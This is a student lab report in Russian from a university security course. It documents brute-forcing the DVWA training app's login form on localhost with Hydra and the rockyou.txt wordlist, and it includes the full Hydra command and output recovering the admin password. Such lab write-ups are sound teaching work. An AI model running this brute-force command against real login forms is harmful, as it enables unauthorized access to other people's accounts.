

Индивидуальный проект №3

Брутфорсинг паролей

Машков И. Е.

08 марта 2025

Российский университет дружбы народов, Москва, Россия

Информация

- Машков Илья Евгеньевич
- Студент 2-го курс, группа НКАбд-03-23
- Российский университет дружбы народов
- 1132231984@pfur.ru
- <https://github.com/7S7eVe7N7>

Приобретение практических навыков по использованию инструмента Hydra для брутфорса паролей.

```
(iemashkov@iemashkov)-[~]  
$ cd ~/Загрузки  
  
(iemashkov@iemashkov)-[~/Загрузки]  
$ sudo gzip -d rockyou.txt.tar.gz  
[sudo] пароль для iemashkov:  
gzip: rockyou.txt.tar.gz: No such file or directory  
  
(iemashkov@iemashkov)-[~/Загрузки]  
$ sudo gzip -d rockyou.txt.gz  
  
(iemashkov@iemashkov)-[~/Загрузки]  
$
```

Рис. 1: Распаковка архива со списком паролей

Выполнение лабораторной работы

Vulnerability: Brute Force

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript
Open HTTP Redirect
Cryptography
API
DVWA Security
PHP Info
About

Vulnerability: Brute Force

Login

Username:

Password:

Login

More Information

- https://owasp.org/www-community/attacks/Brute_force_attack
- <https://www.symantec.com/connect/articles/password-cracks>
- <https://www.golinuxcloud.com/brute-force-attack-web-forms>


Выполнение лабораторной работы

```
(iemashkov@iemashkov)-[~]
$ hydra -l admin -P ~/rockyou.txt -s 80 localhost http-get-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login:H=Cookie:security=medium; PHPSESSID=9266ea30607ba6cdc19a1ebb94727dcb:F=Username and/or password incorrect."
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-12 22:11:01
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login:H=Cookie:security=medium; PHPSESSID=9266ea30607ba6cdc19a1ebb94727dcb:F=Username and/or password incorrect.
[80][http-get-form] host: localhost login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-12 22:11:58

(iemashkov@iemashkov)-[~]
$
```

Рис. 3: Запуск Hydra



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Vulnerability: Brute Force

Login

Username:

Password:

Login

Welcome to the password protected area admin




Рис. 4: Результат

Приобрёл практические навыки по использованию инструмента Hydra для брутфорса паролей